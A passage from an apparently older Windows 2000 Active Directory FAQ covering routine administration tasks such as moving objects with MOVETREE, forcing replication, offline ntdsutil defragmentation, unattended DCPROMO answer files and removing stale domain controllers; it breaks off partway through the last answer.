<object savillj, property Password xxx>,Titanic,54

Domain controllers then also send this information with the USN's so they can calculate if they already have the change the other domain controllers are trying to replicate.


Q. How can I move objects within my Forest?

A. The Windows 2000 Resource Kit ships with the MOVETREE.EXE utility which can be used to move organization units, users or computers between domains in a single forest. This is useful for the consolidation of domains or to reflect organization restructuring.

Certain objects cannot be moved with MOVETREE such as Local and Domain Global groups and if the container they are in is moved these objects will be placed in an "orphan" container in the "LostAndFound" container in the source domain.

Associated data is not moved with MOVETREE such as policies, profiles, logon scripts and personal data. To accomplish the movement of these items you should write custom scripts using the 'Remote Administration Scripts'.

The syntax of MOVETREE is

MoveTree [/start | /continue | /check] [/s SrcDSA] [/d Dst] [/sdn SrcDN] [/ddn DstDN] [/u Domain\Username] [/p Password] [/quiet]

/start | Start a move tree operation with /check option by default. Instead, you could be able to use /startnocheck to start a move tree operation without any check.
/continue | Continue a failed move tree operation.
/check | Check the whole tree before actually move any object.
/s <SrcDSA> | Source server's fully qualified primary DNS name. Required
/d <DstDSA> | Destination server's fully qualified primary DNS name. Required
/sdn <SrcDN> | Source sub-tree's root DN. Required in Start and Check case. Optional in Continue case
/ddn <DstDN> | Destination sub-tree's root DN. RDN plus Destinaton Parent DN. Required
/u <Domain\UserName> | Domain Name and User Account Name. Optional
/p <Password> | Password. Optional
/quiet | Quiet Mode. Without Any Screen Output. Optional

You should first run in /check mode as this will perform a test without actually performing the move. Any errors will be displayed and also written to the file movetree.err in your current directory. If the test is OK run with the /start option.

An example use would be

C:\> movetree /check /s titanic.market.savilltech.com /d pluto.legal.savilltech.com /sdn OU=testing,DC=Market,DC=Savilltech,DC=COM /ddn OU=test2,DC=Legal,DC=Savilltech,DC=COM

This would move the OU testing from domain market.savilltech.com to test2 in domain legal.savilltech.com.


Q. How do I allow modifications to the Schema?

A. The Schema is extensible which means it can be changed but modifying the Schema is a dangerous task as it will affect the entire domain Forest (since a forest shares a common schema) and someone at Microsoft once said the following:

"If you find you have to change the schema find another way. If you still have to, look again. If after all that you find you still need to change the schema you better make sure your managers are fully aware of the implications"

That being said to allow modifications there are two ways.

If you want to use the GUI first register the .dll for the MMC snap-in (if you haven't all ready)

C:\> regsvr32 schmmgmt.dll

You can now start the Schema Manager via the Resource Kit Tools console or by creating a custom MMC and add the Active Directory Schema snap-in to it (Start - Run - MMC - Console menu - Add/Remove Snap-in - Add - Active Directory Schema - Add - Close - OK)

  1. Start the Active Directory Schema MMC snap-in on the Domain Controller (using on of the methods above)
  2. In the left hand pane right click on 'Active Directory Schema' and select 'Operations Master' from the context menu
  3. The current machine holding the Domain name operations FSMO role will be shown.
    Enable Schema Modification
    Check the "The Schema may be modified on this server" box.
  4. Click OK to the confirmation dialog.

This can also be accomplished by directly editing the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  3. Double click on 'Schema Update Allowed' (of type REG_DWORD)
  4. Set to 1.
  5. Click OK
  6. Close the registry editor

Other related FAQ items:

  • Q. What is the Schema?
  • Q. What are the FSMO roles in Windows 2000?


Q. What are Tombstone objects?

A. Because of the complex replication available in Windows 2000 and the Active Directory just deleting an object would result in it potentially being recreated at the next replication interval and so deleted objects are 'Tombstoned' instead. This basically marks them as deleted and applies to all objects.

Objects marked as tombstoned are actually deleted 60 days after their original tombstone status setting, however this time can be changed by modifying tombstonelifetime under cd=DirectoryServices,cn=WindowsNT,cn=Services,cn=Configuration,dc=DomainName however it is not advised.


Q. How do I switch my 2000 domain to native mode?

A. Windows 2000 domains have two modes, mixed and native. Mixed mode domains allow Windows NT 4.0 Backup Domain Controllers to participate in a Windows 2000 domain.

In native mode only 2000 based domain controllers can participate in the domain and 4.0 based Backup Domain Controllers will no longer be able to act as domain controllers. Also the switch to native mode allows use of the new "Universal" groups which unlike global groups can be nested inside each other. Older NetBIOS based clients will still be able to logon using the NetBIOS domain name even in native mode.

To perform the switch perform the following:

  1. Start the Active Directory Domains and Trusts MMC snap-in
  2. Right click on the domain you want to convert to native mode and select Properties
  3. Select the General tab
    Change Mode
  4. Click the 'Change Mode' button
  5. Click Yes to the confirmation
  6. Click Apply to the main dialog
  7. A success message will be displayed. Click OK
    Mode Switch
  8. Reboot the machine (although I have been told a reboot is not needed).

You will need to check all other domain controllers in the domain and when the domain operation mode says "Native Mode" (instead of mixed mode) reboot them. This can take 15 minutes (or more if contact is not able to be made).

If a domain controller cannot be contacted (if on a remote site and only connects periodically) when you make the change the remote DC will switch mode the next time replication occurs.


Q. How can I force replication between two domain controllers in a site?

A. In Windows NT 4.0 replication between domain controllers could be forced using Server Manager. Replication can also be forced with Windows 2000 domain controllers as follows.

  1. Start the Active Directory Sites and Services MMC snap-in
  2. Expand the sites branch which will show the various sites
  3. The default site 'Default-First-Site-Name' may be your only site. Expand the site containing the domain controllers
  4. Expand the servers
  5. Select the server who you want to replicate to and expand it
  6. Double click on NTDS Settings for the server
  7. Right click on the server you want to replicate from
  8. Select 'Replicate Now' from the context menu
  9. Replication will occur. Click OK to the confirmation dialog.

Force replication
This would replicate from TITANIC to the VENUS domain controller

The replication is one way and if you want two way replication you will need to replicate in each direction.


Q. How can I change replication schedule between two domain controllers in a site?

A. By default domain controllers will replicate once an hour the schema/configuration information (see 'Q. How does replication work intra-site in Windows 2000?' for information on the type of replicated data) but this can be changed as follows. This is only for domain controllers in a single site, cross site replication is configured differently.

  1. Start the Active Directory Sites and Services MMC snap-in
  2. Expand the sites branch which will show the various sites
  3. The default site 'Default-First-Site-Name' may be your only site. Expand the site containing the domain controllers
  4. Expand the servers
  5. Select the server who you want to configure replication to and expand it
  6. Double click on NTDS Settings for the server
  7. Right click on the server you want set replication from
  8. Select 'Properties' from the context menu
  9. Select the 'Active Directory Service connection' tab
  10. Click the 'Change Schedule...' button
  11. Modify the replication as required. Click OK
    Intersite replication
  12. Click Apply then OK

This replication schedule is one way and would to be repeated for the other direction. Remember this is the minimum replication. Any changes made will cause a notification to be made after 5 minutes causing replication.


Q. Can I rename a site?

Q. Can I rename a site? - Windows 2000

A. Basically yes. When you install your first domain controller it creates a default site of Default-First-Site-Name which is not very helpful and can be changed as follows:

  1. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services)
  2. Expand the Sites branch
  3. Right click on the site you wish to rename (e.g. Default-First-Site-Name) and select rename (or just select the site and press F2)
  4. Enter the new name and press Enter

That's it!


Q. What DNS entries are added when a Windows 2000 domain is created?

A. Windows 2000 domains rely heavily on DNS entries however the entries are created automatically providing you have enable dynamic update on the relevant DNS zones. Below are explanations of what the entries are used for:

_ldap._tcp.<DNSDomainName>
Allows a client to localte a Windows 2000 domain controller in the domain named by <DNSDomainName>. A client searching for a DC in domain savilltech.com would query the DNS server for _ldap._tcp.savilltech.com

_ldap._tcp.<SiteName>._sites.<DNSDomainName>
This allows a client to find a Windows 2000 domain controller in the Domain and site specified, e.g. _ldap._tcp.london._sites.savilltech.com for a DC in the London site of savilltech.com

_ldap._tcp.pdc._ms-dcs.<DNSDomainName>
Allows a client to find the Primary Domain Controller (PDC) FSMO role holder of a mixed-mode domain. Only the PDC of the domain registers this record.

_ldap._tcp.gc._msdcs.<DNSTreeName>
Allows a client to find a Global Catalog (GC) server. Only domain controllers serving as GC servers for the tree will register this name. Should a server cease to be a GC it will deregister the record.

_ldap._tcp.<site>._sites.gc._msdcs.<DNSTreeName>
Allows a client to find a Global Catalog (GC) server in the specified site, e.g. _ldap._tcp.london._sites.gc._msdcs.savilltech.com.

_ldap._tcp.<DomainGuid>.domains._msdcs.<DNSTreeName>
Allows a client to find a domain controller in a domain based on its Globally Unique IDentifier (GUID). A GUID is a 128-bit (8 byte) number this is generated automatically for referencing objects in the Active Directory.

<DNSDomainName>
Allows clients to find a Domain Controller by a normal Host record.

Example DNS screen for a domain


Q. How can I manually defragment the Active Directory?

Q. How can I manually defragment the Active Directory? - Windows 2000 only

A. By default Windows 2000 servers running directory services will perform a directory online defragmentation every 12 hours (by default) as part of the garbage collection process. This defragmentation only moves data around the database file (NTDS.DIT) and does not reduce its size.

To create a new, smaller NTDS.DIT and offline defragmentation must be performed as follows:

  1. Backup the Active Directory (as seen in 'Q. How can I backup the Active Directory/System State?')
  2. Reboot the server, select the OS option and press F8 for advanced options. Select the 'Directory Services Restore Mode' option and press Enter. Press Enter again to start the operating system.
  3. Windows 2000 will start in safe mode with no directory service running. Logon using the Administrator account and password if the LOCAL SAM.
  4. A dialog informing you are in safe mode will be displayed. Click OK
  5. From the Start menu select Run and type
    CMD.EXE
  6. A command window will be displayed. Type the words in red:
    C:\> ntdsutil
    ntdsutil: files
    file maintenance: info
    ....
    file maintenance: compact to c:\temp
  7. The progress of the defragmentation will be shown. If successful type quit twice to return to the command prompt
  8. Now replace the old NTDS.DIT with the new compressed version
    C:\> copy c:\temp\ntds.dit %systemroot%\ntds\ntds.dit
  9. Restart the computer and boot as normal

Below is an example of the entire procedure

Microsoft Windows 2000 [Version 5.00.2031]
(C) Copyright 1985-1999 Microsoft Corp.

D:\>ntdsutil
ntdsutil: files
file maintenance: info

Drive Information:

C:\ FAT (Fixed Drive ) free(1.2 Gb) total(1.9 Gb)
D:\ NTFS (Fixed Drive ) free(152.4 Mb) total(1.9 Gb)

DS Path Information:

Database : D:\WINNT\NTDS\ntds.dit - 8.1 Mb
Backup dir : D:\WINNT\NTDS\dsadata.bak
Working dir: D:\WINNT\NTDS
Log dir : D:\WINNT\NTDS - 30.0 Mb total
res2.log - 10.0 Mb
res1.log - 10.0 Mb
edb.log - 10.0 Mb
file maintenance: compact to c:\temp
Opening database [Current].
Using Temporary Path: C:\
Executing Command: D:\WINNT\system32\esentutl.exe /d "D:\WINNT\NTDS\ntds.dit" /
/o /l"D:\WINNT\NTDS" /s"D:\WINNT\NTDS" /t"c:\temp\ntds.dit" /!10240 /p

Initiating DEFRAGMENTATION mode...
Database: D:\WINNT\NTDS\ntds.dit
Log files: D:\WINNT\NTDS
System files: D:\WINNT\NTDS
Temp. Database: c:\temp\ntds.dit

Defragmentation Status ( % complete )

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

Note:
It is recommended that you immediately perform a full backup
of this database. If you restore a backup made before the
defragmentation, the database will be rolled back to the state
it was in at the time of that backup.

Operation completed successfully in 17.896 seconds.

Spawned Process Exit code 0x0(0)

If compaction was successful you either need to
copy "c:\temp\ntds.dit" to "D:\WINNT\NTDS\ntds.dit"
or run:
D:\WINNT\system32\ntdsutil.exe files "set path DB \"c:\temp\"" quit quit
file maintenance: quit
ntdsutil: quit

D:\>copy c:\temp\ntds.dit %systemroot%\ntds\ntds.dit
Overwrite D:\WINNT\ntds\ntds.dit? (Yes/No/All): y
1 file(s) copied.


Q. How can I audit the Active Directory?

A. It is possible to configure auditing on the Active Directory to produce both successful and failed entries in the Directory Service event log.

To configure perform the following:

  1. Start the 'Active Directory Users and Computers' MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. From the View menu select 'Advanced Features'
  3. Expand the domain, right click on the 'Domain Controllers' container and select Properties from the context menu
  4. Select the 'Group Policy' tab
  5. Select 'Default Domain Controllers Policy' and click Edit
  6. Expand the Computer Configuration branch, the Windows Settings branch, Security Settings branch, and finally the Local Policies branch
  7. Select 'Audit Policy'
  8. In the right hand window it will show auditing levels
  9. Double click 'Audit Directory Service Access'
  10. Check the relevant boxes (e.g. Audit success, audit fail). Click OK
  11. Close the Group Policy window
  12. Click OK to the main Domain Controllers Properties dialog
  13. Close the Active Directory and Users MMC snap-in

The logs can be viewed in the Security Log (using Event Viewer). The policy change may take a while to take effect as domain controllers poll for policy changes every five minutes. Other domain controllers in the enterprise receive the changes at this interval plus the time of replication.


Q. How can I automate a server upgrade to a Domain Controller during installation?

A. Its possible to run the DCPROMO.EXE utility automatically during an unattended installation using the following method:

The Dcpromo process can be scripted by using the dcpromo /answer:%path_to_answer_file% command. In the following example, the [DCInstall] section and parameters are added directly to the unattended answer file. The parameters for the DCInstall section are detailed in the Unattend.doc supplied with the resource kit but below are the main entries:

AdministratorPassword | The new password for the domain Administrator account
AutoConfigDNS | Indicates if the wizard should configure DNS
ChildName | Name of the child part of domain
CreateOrJoin | Specifies if the domain will join an existing forest or create a new one
DatabasePath | Location for the Active Directory database
DNSOnNetwork | Used when a new forest of domains is being installed and no DNS client is configured on the computer
DomainNetBiosName | NetBIOS name for the domain
IsLastDCInDomain | Only valid when demoting an existing domain controller to a member server
LogPath | Path for the DS logs
NewDomainDNSName | Name of the new tree or when a new forest is being created
ParentDomainDNSName | Specifies name of parent domain
Password | Password for username being used to promote server
RebootOnSuccess | Whether an automatic reboot should be performed
ReplicaDomainDNSName | Name of the domain to be replicated from
ReplicaOrMember | Specifies if a 3.51 or 4.0 BDC being upgraded should become a replica domain controller or be demoted to a regular member server.
ReplicaOrNewDomain | Specifies if this is a new DC in a new domain or if its a replica of existing domain
SiteName | Name of the site, by default this is "Default-First-Site"
SysVolPath | Path of SYSVOL
TreeOrChild | If this is a new tree of child of existing domain
UserDomain | Domain for the user being used in promotion
UserName | Name of user performing the upgrade

Because this process occurs after setup, the answer file created is named $winnt$.inf and is copied to the \system32 folder. Because the parameters are in this file, you must add the following text to the [GUIRunOnce] section of the unattended Setup answer file:

[GUIRunOnce] "DCpromo /answer:%systemroot%\system32\$winnt$.inf"

Once the Dcpromo process completes, password information is removed from the $winnt$.inf file. To make this process easier because the Run-once command does not execute until someone logs on to the computer, you can add the following text to the unattended answer file:
[GUIUnattended]
Autologon = yes ; automatically logs on the administrator account
AutoLogoncount = n ; number of times to perform auto-admin logon

Easy :-) Don't use items like %systemroot% or %windir% etc as they are not understood during unattended installations.

You can just create a [DCInstall] section directly in your unattend.txt file and to avoid having multiple unattended setup files.

[DCInstall]
AdministratorPassword = cartman
CreateOrJoin = Create
DomainNetBiosName = savtech
NewDomainDNSName = savtech.com
RebootOnSuccess = Yes
ReplicaOrNewDomain = Domain
SiteName = "London"
TreeOrChild = Tree

The script above would create a new forest with domain savtech.com at the top with the created domain controller in site London. Default locations for the SYSVOL, logs and Active Directory files will be used. The new domain Administrator account password would be cartman (Southpark rules!).

You can of course use this outside of an unattended installation if you wish after you've installed by just typing:

DCPROMO /answer:<DCInstall answer filename>

A small dialog saying DCPROMO is running in unattended mode will be displayed and then it will reboot.


Q. How do I enable circular logging for the Active Directory?

A. Active Directory can record either sequential or circular logs, although sequential is the default and is preferred. Circular logs overwrite transactions at specific intervals, whereas sequential logs are never overwritten (but data in sequential log files whose transactions have been committed to the database are deleted during garbage collection intervals.)

Sequential log files are not overwritten with new data. They grow until they reach a specified size. Once all the transactions in a log file are committed to the database, this log file is no longer needed. Active Directory’s garbage collection process deletes unnecessary log files every 12 hours (the default garbage collection interval). If your server never stays up longer than 12 hours between reboots, the old log files are never cleaned up and they take up more and more space on the disk (but you have bigger problems :-) ).

Some administrators prefer circular logging because it helps minimize the amount of logged data stored to the physical disk. Imagine circular logs as a donut with new data overwriting the oldest as needed. You must edit the registry to enable circular logging.

  1. Start regedt32.exe
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  3. If the value CircularLogging does not exist select New - String value from the Edit menu and enter a name of CircularLogging
  4. Double click CircularLoggin and set to 1 to enable (0 for disable and sequential log files)
  5. Close the registry editor
  6. Restart the directory service via a reboot for the change to take effect


Q. I can't add a 4.0 BDC to my Windows 2000.

A. A 4.0 BDC in a Windows 2000 is a supported configuration however a problem exists when the 4.0 BDC machine account tries to be created.

The Machine Account for This Computer either does not exist or is inaccessible.

If you attempt to add the computer account from an already installed Windows NT 4.0-based BDC using the Srvmgr tool, the following message occurs:

The Network Request is not supported.

The following error message is logged on the Windows 2000-based PDC:

Source: SAM
EVENT ID: 12298
DESCRIPTION:The Account "COMPUTER$" Cannot be converted to be a domain controller account as its object class attribute in the directory is not a computer or is not derived from computer. If this is caused by an attempt to install a pre Windows 2000 Domain, then you should recreate the account for the domain controller with the correct object class.

To workaround this problem use the SRVMGR tool that is shipped with Windows 2000 to create the account.


Q. I can't have spaces in my Windows 2000 NetBIOS domain name, why?

A. In a Windows NT 4.0 based domain a space is a legal character in the NetBIOS domain name. Windows 2000 domains are DNS based are therefore DNS names however a NetBIOS name is also given for backwards compatibility. DNS does not allow a space in a name and so to keep consistency Microsoft have now removed the space as a legal character in a 2000 NetBIOS domain name.

It can contain the following special characters:

   ! @ # $ % ^ & ( ) - _ ' { } . ~
The Following characters are not allowed:
   \ * + = | : ; " ? < > ,


Q. How can I create trusts from the command line in Windows 2000.

A. Windows 2000 Resource Kit ships with TRUSTDOM.EXE which enables trust relationships to be defined between Windows 2000 domains and one way relationships with 4.0 domains.

The trustdom syntax is:
C:\> trustdom [[domain[:dc],]target_domain[:dc]] [Options]
The default switch is "-out." There are two methods a one-way trust is created:
  • An outbound trust on the local/specified domain.
  • An inbound trust on the specified target domain.

There are a number of other switches which can be listed with the /? switch.

See Knowledge Base article Q232050 (http://support.microsoft.com/support/kb/articles/Q232/0/50.ASP) for more information and examples.


Q. How can I modify the number of objects searched in Windows 2000?

A. By default Active Directory searches are limited to 10,000 objects in a search however this can be changed as your organization grows. This policy affects all browse displays associated with Active Directory, such as those in Local Users and Groups, Active Directory Users & Computers, and dialog boxes used to set permissions for user or group objects in Active Directory. To change use either of the following two methods:

To set for a group policy object:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the container and select Properties
  3. Select the Group Policy tab
  4. Select the Group Policy Object and select Edit
  5. Select the 'User Configuration' branch and expand Administrative Templates - Desktop - Active Directory
  6. Double click on 'Maximum size of Active Directory searches'
  7. Set to enabled and then set the number, e.g. 20000. Click Apply then OK
  8. Close the Group Policy Editor

To set directly for a user via the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Policies\Microsoft
  3. From the Edit menu select New - Key
  4. Enter a name of 'Windows' (don't type the quotes)
  5. Move to the Windows key and from the Edit menu select New - Key
  6. Enter a name of 'Directory UI' (don't type the quotes)
  7. Move to the Directory UI key (you should now be at HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Directory UI)
  8. From the Edit menu select New - DWORD value
  9. Enter a name of 'QueryLimit' and press Enter
  10. Double click the new value and set to the decimal value required, e.g. 20000. Click OK
  11. Close the registry editor

The change for both methods will take effect at next logon for the user.


Q. I can't create an OU/child domain with the same name from a single parent, why?

A. While X.500 does all both an OU and child domain to share a common name this is not possible with Active Directory as it would cause problems with the relative distinguished name. If you attempt to create an OU where a child domain already exists with the same name you will get error:

Active Directory

Windows cannot create the object because: An attempt was made to add an object to the directory with a name that was already in use.
Name-related properties on this object might now be out of sync.
Contact your network administrator.

If you try and create the child domain and an OU already exists with the same name the error below will be displayed:

Active Directory Installation Failed

The operation failed because: The Directory Service failed to create the object CN=Sales, CN=Partitions, CN=Configuration, DC=Savilltech, DC=Com. Please check for possible system errors. "The directory service is busy"

There is no workaround to this and is a known restriction.


Q. How are objects named in the Active Directory?

A. There are a number of methods available to name objects in the Active Directory, the most popular of which is the Distinguished Name or DN. An excellent RFC exists for DN explanation at http://www.cis.ohio-state.edu/htbin/rfc/rfc1779.html but I'll run over the basics here.

Every object in the Active Directory has a distinguished name and it uniquely identifies the object in the directory service, for example:

/O=Internet/DC=COM/DC=SavillTech/CN=Users/CN=John Savill

This breaks down as follows:

  • /O=Internet - Organization=Internet
  • /DC=COM - Domain Component=COM
  • /DC=SavillTech - Domain Component=SavillTech (put together is savilltech.com)
  • /CN=Users - Common Names=Users
  • /CN=John Savill - Common Names=John Savill

You could also see OU for Organizational Unit.

A Relative Distinguished Name (RDN) is also used which is also known as the friendly name, for example the RDN of the above for John Savill would be CN=John Savill, the RDN for the users container would be CN=Users.

Also supported are LDAP URL names which begin with LDAP:\\, a LDAP server then a DN (of sorts) identifying the object, e.g.

LDAP://titanic.savilltech.com/cn=JSavill,ou=Sales,dc=SavillTech,dc=com

Finally are LDAP Canonical names which are the LDAP name without the ou=,cn= etc which are used by many of the admin tools, for example:

savilltech.com/Sales/JSavill

Of course in actual fact objects are stored using a GUID (Globally Unique IDentifier) which as a 128 but number generated at object creation time and is stored in object attribute objectGUID and can NEVER change but lets not worry about that :-)

Finally we have the User Principal Name and SAM account name. The UPN is of the format <user>@<DNS domain name>, e.g.

jsavill@savilltech.com

The SAM name is the old 4.0 format and must be unique throughout the entire organization due to its single layer convention, e.g. savillj.


Q. How does replication work intra-site in Windows 2000?

A. Windows 2000 includes a component called the Knowledge Consistency Checker (KCC) which automatically manages the replication within a site.

A bi-directional ring topology is used intra-site using RPC (Remote Procedure Call) over TCP/IP without any kind of compression. This is because domain controllers within a site are thought to be on a fast network (as per the definition of a site) and the extra processing required to compress/uncompress is undesirable.

The KCC runs every 15 minutes adjusting the topology as needed and as new domain controllers are created they are automatically placed in the ring. You can view these links using the Active Directory Sites and Services MMC snap-in by expanding the site, expand the Servers container, expand the server and under the ‘NTDS Settings’ leaf are the created connection objects.

The rings are ordered by the domain controller's GUID (Globally Unique IDentifier) as a means to ensure convergence on a single topology as the KCC runs on all domain controllers.

There is an exception to the ring rule. There can never be more than 3 hops between any two domain controllers within the ring and so of there are 7 or more domain controllers extra links are added to protect the 3 hop rule.

Notice in the above two extra non-ring links have been added to enable no more than 3 hops to any domain controller.

These rings are for same naming context (domains) in a single site. If you had multiple domains in a site there would be rings for each domain within the site.

There is a second type of ring however which replicates schema and configuration information between the domain controllers and as this information is shared between all domains (its forest wide) there is only one ring for each site. This means if you had two domains in a site you would have 3 rings, one each for the two domains and one for the schema/configuration information. If you only have a single domain in a site the two rings are actually one and the same.

Any manual configuration of intra-site replication should not be needed and is not recommended by Microsoft. The only task you may ever find yourself performing is to add extra connection objects to reduce the hop count between domain controllers.

When a change is made to the naming context (domain) data the domain controller waits a configurable interval that is 5 minutes by default. The change is written to the domain controller’s local copy of the Active Directory, a timer is started that determines when the domain controller's replication partners should be notified of the change (the 5 minutes). When this interval elapses, the domain controller initiates a notification to each intra-site replication partner that it has changes that need to be propagated. In this 5 minutes changes can continue to be made to the local Active Directory enabling all changes to be grouped and sent after the 5 minutes.

If no changes are reported for a configurable period (as defined in the intra-site connection object schedule) a replication sequence will be initiated to ensure no changes have been missed.

There is a concept of urgent replication that can be triggered by the SAM or the LSA (Local Security Authority) and is initiated for the following events:

  • Replicating a newly locked out account (useful for when you have fired someone)
  • Changing an LSA secret (i.e. a trust account)
  • The RID Manager state changes

Any of the above causes a notification to be sent within the site triggering immediate replication. As this uses notification this is only intra-site however you can modify site links to enable notification, as normally they will only replicated as per the schedule.

An exception to the multi-master normal replication is user passwords. As with any other attribute change the password can be changed at any domain controller however the change is then pushed to the PDC FSMO role holder on a best attempt basis. Any other domain controllers receive the password through normal replication.

The reason for this extra password work is that in the event of password validation failing the domain controller validating will pass the request to the PDC FSMO in case the password has been changed and it has now yet received via standard replication.

The schema/configuration data is replicated once an hour by default between domain controllers but can be changed as seen in 'Q. How can I change replication schedule between two domain controllers in a site? '.


Q. How can I change the intra-site replication interval in Windows 2000 for domain information?

A. As we saw in 'Q. How does replication work intra-site in Windows 2000?' replication for naming context data is replicated intra-site 5 minutes after the change is made to allow any further changes to be grouped and sent together. This 5 minute pause can be changed via the registry:

  1. Start the registry editor (regedit.exe)
  2. Move HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  3. Double click on ‘Replicator notify pause after modify (secs)’
  4. Set to the number of seconds you wish for the pause. Click OK
  5. Close the registry editor
  6. Reboot

You will also notice another parameter, ‘Replicator notify pause between DSAs (secs)’ under the same registry key which determines the number of seconds to pause between notification of the Directory Service Agents. This parameter prevents simultaneous replies by the replication partners.


Q. How can I set the RPC port used for Intra-site replication?

A. By default the port used for the RPC replication is dynamically set as a secure measure. It may be desirable to set the port however (for the purposes of monitoring data etc.) and this can be enabled by performing the following registry change:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of 'TCP/IP Port' (don't enter the quotes) and press enter
  5. Double click the new entry and set to the port you want it to use (make sure its not in use, e.g. 1352)
  6. Close the registry editor
  7. Reboot

After monitoring is complete be sure to remove this entry to regain the security of dynamic RPC port allocation.


Q. What tools are available to monitor/change replication?

A. The first tool you use is the Sites and Services MMC snap-in which enable the viewing/creation/deletion of connection objects however there are other tools available.

The Windows 2000 resource kit provides REPLMON.EXE and REPADMIN.EXE which are very useful.

Repadmin.exe is a command line tool which enables replication consistency to be checked, for a KCC recalculation etc. A good switch is /showreps which displays a list of replication partners. The invocation ID is the database GUID and will also show reason for problems.

D:\>repadmin /showreps
London\TITANIC
DSA Options : IS_GC
objectGuid : 221d9d34-540e-4a7b-bd26-054c11e2d1ad
invocationID: 221d9d34-540e-4a7b-bd26-054c11e2d1ad

==== INBOUND NEIGHBORS ======================================

CN=Schema,CN=Configuration,DC=savilltech,DC=com
London\TITUS via RPC
objectGuid: 2000eb93-cc24-4af7-9ad2-c52129c98c7a
Last attempt @ 1999-12-06 20:32.20 failed, result 8524:
Can't retrieve message string 8524 (0x214c), error 1815.
Last success @ 1999-09-17 20:53.45.
463 consecutive failure(s).
London\TRINITY via RPC
objectGuid: df3694d2-b4e9-4d9a-a560-3e8c26c48a89
Last attempt @ 1999-12-06 20:32.21 failed, result 8524:

Another neat option is /showmeta which will have all object information, version numbers etc.

C:\>repadmin /showmeta cn=garfield,DC=savtech,DC=com

45 entries.

Loc.USN Originating DSA Org.USN Org.Time/Date Ver At
tribute
======= =============== ======= ============= === ==
=======
99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 ob
jectClass
99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 cn

99650 London\MORPHEUS 99650 1999-12-08 09:50.10 1 de
scription
99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 gi
venName
99649 London\MORPHEUS 99649 1999-12-08 09:50.10 1 in
stanceType

Replmon.exe is a GUI tool used to display and monitor replication status on selected domain controllers.


Q. How do I remove a non-existent domain controller?

A. Windows 2000 tracks each domain controller in the metadata and if you just throw away a domain controller either by reinstallation or removal of the hardware without running DCPROMO to clean up its metadata its information will not be cleaned up and connection objects will not be removed.

You can remove a server from the metadata using the NTDSUTIL as follows (enter the commands in bold):

D:\>ntdsutil
ntdsutil: metadata cleanup
metadata cleanup: select operation target

The first step is to connect to a server. Here we do it by selecting a domain:

select operation target: connections
server connections: connect to domain savilltech.com
Binding to \\TITANIC.savilltech.com ...
Connected to \\TITANIC.savilltech.com using credentials of locally logged on user
server connections: quit

Next we have to select a site, then a server (the server we want to delete) then finally the domain the server is in (the order is not important)

select operation target: list sites
Found 2 site(s)
0 - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com
1 - CN=Kent,CN=Sites,CN=Configuration,DC=savilltech,DC=com
select operation target: select site 0
Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com
No current domain
No current server
No current Naming Context
select operation target: list servers in site
Found 4 server(s)
0 - CN=TITANIC,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=c
om
1 - CN=TITUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com

2 - CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=
com
3 - CN=TRINITY,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=c
om
select operation target: select server 2
Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com
No current domain
Server - CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltec
h,DC=com
DSA object - CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,
CN=Configuration,DC=savilltech,DC=com
DNS host name - MORPHEUS.deleteme.savilltech.com
Computer object - CN=MORPHEUS,OU=Domain Controllers,DC=deleteme,DC=savil
ltech,DC=com
No current Naming Context
select operation target: list domains
Found 3 domain(s)
0 - DC=savilltech,DC=com
1 - DC=dev,DC=savilltech,DC=com
2 - DC=deleteme,DC=savilltech,DC=com
select operation target: select domain 0
Site - CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com
Domain - DC=savilltech,DC=com
Server - CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltec
h,DC=com
DSA object - CN=NTDS Settings,CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,
CN=Configuration,DC=savilltech,DC=com
DNS host name - MORPHEUS.deleteme.savilltech.com
Computer object - CN=MORPHEUS,OU=Domain Controllers,DC=deleteme,DC=savil
ltech,DC=com
No current Naming Context
select operation target: quit

The server we selected above will now be deleted.

metadata cleanup: remove selected server

Now click yes to the confirmation

"CN=MORPHEUS,CN=Servers,CN=London,CN=Sites,CN=Configuration,DC=savilltech,DC=com
" removed from server "\\TITANIC.savilltech.com"
metadata cleanup: quit
ntdsutil: quit
Disconnecting from \\TITANIC.savilltech.com ...

You should then delete the server from the Sites and Servers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services)

Expand the Sites branch, select the site, expand the Services container, right click on the server and select Delete. Click Yes to the confirmation.


Q. How do I remove a non-existent domain from the Active Directory?

A. As with domain controllers, Windows 2000 tracks each domain in the metadata and if you remove all the domain controller's for a domain and never select "This is the last domain controller in the domain" when running DCPROMO to demote to a normal server its information will not be cleaned up and its domain information will remain.

You can remove a domain from the metadata using the NTDSUTIL as follows (enter the commands in bold):

D:\>ntdsutil
